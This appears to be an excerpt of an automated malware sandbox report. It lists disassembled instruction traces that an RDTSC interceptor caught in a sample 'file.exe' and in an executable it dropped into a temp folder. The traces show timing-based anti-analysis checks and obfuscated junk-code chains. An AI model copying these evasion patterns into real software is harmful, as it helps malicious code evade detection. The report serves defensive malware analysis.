Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC00E1 second address: 4EC0132 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 495574E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov cx, dx 0x0000000c popad 0x0000000d push ecx 0x0000000e pushad 0x0000000f mov bl, cl 0x00000011 pushad 0x00000012 movsx edx, ax 0x00000015 call 00007F6BBC80E228h 0x0000001a pop ecx 0x0000001b popad 0x0000001c popad 0x0000001d mov dword ptr [esp], ecx 0x00000020 jmp 00007F6BBC80E221h 0x00000025 mov dword ptr [ebp-04h], 55534552h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0132 second address: 4EC0136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0136 second address: 4EC0149 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0CE4 second address: 4EC0CF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0CF3 second address: 4EC0CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0CF9 second address: 4EC0CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0CFD second address: 4EC0DA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F6BBC80E21Ah 0x0000000f pushfd 0x00000010 jmp 00007F6BBC80E222h 0x00000015 adc esi, 2CA9E0E8h 0x0000001b jmp 00007F6BBC80E21Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [esp], ebp 0x00000025 jmp 00007F6BBC80E226h 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d jmp 00007F6BBC80E21Eh 0x00000032 pushfd 0x00000033 jmp 00007F6BBC80E222h 0x00000038 or ax, B5A8h 0x0000003d jmp 00007F6BBC80E21Bh 0x00000042 popfd 0x00000043 popad 0x00000044 cmp dword ptr [75AF459Ch], 05h 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F6BBC80E225h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0F65 second address: 4EC0F6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0859 second address: 4EE0876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E229h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0876 second address: 4EE0946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6BBC840557h 0x00000013 add cl, FFFFFFFEh 0x00000016 jmp 00007F6BBC840559h 0x0000001b popfd 0x0000001c push esi 0x0000001d mov bx, F412h 0x00000021 pop ebx 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 mov di, si 0x00000028 pushfd 0x00000029 jmp 00007F6BBC840550h 0x0000002e sbb cx, 4828h 0x00000033 jmp 00007F6BBC84054Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov ebp, esp 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F6BBC840554h 0x00000043 jmp 00007F6BBC840555h 0x00000048 popfd 0x00000049 mov di, cx 0x0000004c popad 0x0000004d xchg eax, esi 0x0000004e pushad 0x0000004f mov ch, F9h 0x00000051 jmp 00007F6BBC840555h 0x00000056 popad 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0946 second address: 4EE094A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE094A second address: 4EE0964 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840556h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0964 second address: 4EE0976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E21Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0976 second address: 4EE0A04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6BBC840554h 0x00000013 or ecx, 5244A408h 0x00000019 jmp 00007F6BBC84054Bh 0x0000001e popfd 0x0000001f call 00007F6BBC840558h 0x00000024 call 00007F6BBC840552h 0x00000029 pop ecx 0x0000002a pop ebx 0x0000002b popad 0x0000002c mov esi, dword ptr [ebp+0Ch] 0x0000002f jmp 00007F6BBC84054Eh 0x00000034 test esi, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 call 00007F6BBC84054Dh 0x0000003e pop ecx 0x0000003f mov ecx, edx 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A04 second address: 4EE0A0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A0A second address: 4EE0A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A0E second address: 4EE0A8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F6C2D3BBBB7h 0x0000000e pushad 0x0000000f mov ax, 4F7Dh 0x00000013 pushfd 0x00000014 jmp 00007F6BBC80E21Ah 0x00000019 add esi, 64DD9E58h 0x0000001f jmp 00007F6BBC80E21Bh 0x00000024 popfd 0x00000025 popad 0x00000026 cmp dword ptr [75AF459Ch], 05h 0x0000002d jmp 00007F6BBC80E226h 0x00000032 je 00007F6C2D3D3C51h 0x00000038 jmp 00007F6BBC80E220h 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F6BBC80E227h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A8C second address: 4EE0AA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC840554h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0AA4 second address: 4EE0ACF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f call 00007F6BBC80E225h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0ACF second address: 4EE0B03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, 292CB087h 0x0000000e popad 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6BBC840554h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0B03 second address: 4EE0B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0B07 second address: 4EE0B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0B86 second address: 4EE0B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0BC7 second address: 4EE0BCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0BCD second address: 4EE0BD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 36DCA2 second address: 36DCBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC840559h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4D301E second address: 4D3028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6BBC80E216h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4D3028 second address: 4D302C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4D302C second address: 4D3032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E7AB2 second address: 4E7AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E7C14 second address: 4E7C47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E223h 0x00000007 jmp 00007F6BBC80E21Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f pushad 0x00000010 js 00007F6BBC80E222h 0x00000016 jp 00007F6BBC80E216h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E7C47 second address: 4E7C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E7D9D second address: 4E7DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E7DA3 second address: 4E7DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E7DA9 second address: 4E7DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E8095 second address: 4E809B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E809B second address: 4E809F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E809F second address: 4E80A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E80A3 second address: 4E80B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F6BBC80E224h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4E80B3 second address: 4E80B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EADC2 second address: 4EADDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jc 00007F6BBC80E220h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EADDA second address: 4EAE03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6BBC840552h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EAE03 second address: 36DCA2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pop eax 0x00000008 or dword ptr [ebp+122D2FDFh], ecx 0x0000000e push dword ptr [ebp+122D09DDh] 0x00000014 mov ecx, 28A85533h 0x00000019 call dword ptr [ebp+122D2057h] 0x0000001f pushad 0x00000020 clc 0x00000021 xor eax, eax 0x00000023 pushad 0x00000024 mov edx, ecx 0x00000026 mov ebx, dword ptr [ebp+122D2E9Fh] 0x0000002c popad 0x0000002d mov edx, dword ptr [esp+28h] 0x00000031 clc 0x00000032 mov dword ptr [ebp+122D2DE7h], eax 0x00000038 mov dword ptr [ebp+122D2003h], edi 0x0000003e mov esi, 0000003Ch 0x00000043 cld 0x00000044 add esi, dword ptr [esp+24h] 0x00000048 jmp 00007F6BBC80E21Fh 0x0000004d lodsw 0x0000004f mov dword ptr [ebp+122D2003h], esi 0x00000055 add eax, dword ptr [esp+24h] 0x00000059 jbe 00007F6BBC80E21Ch 0x0000005f mov dword ptr [ebp+122D2003h], eax 0x00000065 mov ebx, dword ptr [esp+24h] 0x00000069 sub dword ptr [ebp+122D2003h], eax 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007F6BBC80E226h 0x00000077 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EAE4F second address: 4EAE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6BBC840546h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d xor dword ptr [ebp+122D1EE6h], edi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F6BBC840548h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f push A1FFF4D6h 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EAE90 second address: 4EAE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EAE94 second address: 4EAF5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6BBC840551h 0x0000000b popad 0x0000000c add dword ptr [esp], 5E000BAAh 0x00000013 mov edi, dword ptr [ebp+122D2EBFh] 0x00000019 push 00000003h 0x0000001b call 00007F6BBC840554h 0x00000020 sub dword ptr [ebp+122D2072h], ecx 0x00000026 pop edi 0x00000027 call 00007F6BBC840552h 0x0000002c mov ecx, dword ptr [ebp+122D2F63h] 0x00000032 pop edi 0x00000033 push 00000000h 0x00000035 pushad 0x00000036 push ecx 0x00000037 push edx 0x00000038 pop esi 0x00000039 pop edx 0x0000003a and ecx, dword ptr [ebp+122D2F1Bh] 0x00000040 popad 0x00000041 push 00000003h 0x00000043 stc 0x00000044 push 86C58F23h 0x00000049 push ecx 0x0000004a jmp 00007F6BBC840558h 0x0000004f pop ecx 0x00000050 xor dword ptr [esp], 46C58F23h 0x00000057 sbb ecx, 17717576h 0x0000005d lea ebx, dword ptr [ebp+12450CFFh] 0x00000063 mov dx, F683h 0x00000067 xchg eax, ebx 0x00000068 pushad 0x00000069 jbe 00007F6BBC840548h 0x0000006f jmp 00007F6BBC84054Bh 0x00000074 popad 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jbe 00007F6BBC84054Ch 0x0000007e rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EAFC6 second address: 4EB02F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6BBC80E216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov ecx, dword ptr [ebp+122D2BF7h] 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 jmp 00007F6BBC80E224h 0x0000001a pop esi 0x0000001b call 00007F6BBC80E219h 0x00000020 ja 00007F6BBC80E227h 0x00000026 jmp 00007F6BBC80E221h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f jp 00007F6BBC80E216h 0x00000035 jmp 00007F6BBC80E224h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EB02F second address: 4EB06A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jl 00007F6BBC840558h 0x00000013 jmp 00007F6BBC840552h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push edx 0x0000001e pop edx 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EB06A second address: 4EB0D3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6BBC80E21Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push edi 0x0000000f jl 00007F6BBC80E21Ch 0x00000015 jnp 00007F6BBC80E216h 0x0000001b pop edi 0x0000001c pop eax 0x0000001d jmp 00007F6BBC80E21Dh 0x00000022 push 00000003h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007F6BBC80E218h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 push 00000003h 0x00000042 movsx ecx, si 0x00000045 push D51D2F19h 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e push esi 0x0000004f pop esi 0x00000050 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EB0D3 second address: 4EB0F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EB21B second address: 4EB21F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EB21F second address: 4EB2B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F6BBC84054Ch 0x0000000c popad 0x0000000d xor dword ptr [esp], 6BD4BD48h 0x00000014 mov edi, dword ptr [ebp+122D1E4Eh] 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F6BBC840548h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 jnp 00007F6BBC840549h 0x0000003c push 00000000h 0x0000003e sbb edx, 03815C1Eh 0x00000044 mov edx, dword ptr [ebp+122D2C83h] 0x0000004a push 00000003h 0x0000004c add dword ptr [ebp+122D1EE0h], eax 0x00000052 call 00007F6BBC840549h 0x00000057 jmp 00007F6BBC84054Bh 0x0000005c push eax 0x0000005d pushad 0x0000005e push ecx 0x0000005f push eax 0x00000060 pop eax 0x00000061 pop ecx 0x00000062 jnl 00007F6BBC84054Ch 0x00000068 popad 0x00000069 mov eax, dword ptr [esp+04h] 0x0000006d push esi 0x0000006e jo 00007F6BBC840548h 0x00000074 pushad 0x00000075 popad 0x00000076 pop esi 0x00000077 mov eax, dword ptr [eax] 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d pop eax 0x0000007e rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EB2B8 second address: 4EB2C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4EB2C1 second address: 4EB2E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F6BBC84054Dh 0x00000013 popad 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4FC933 second address: 4FC937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4FC937 second address: 4FC93B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4FC93B second address: 4FC941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4FC941 second address: 4FC956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F6BBC840546h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 50AE58 second address: 50AE5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 4CC3E3 second address: 4CC3E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 508F28 second address: 508F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 508F2E second address: 508F37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5092A2 second address: 5092B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6BBC80E21Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	RDTSC instruction interceptor: First address: 5092B7 second address: 5092BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
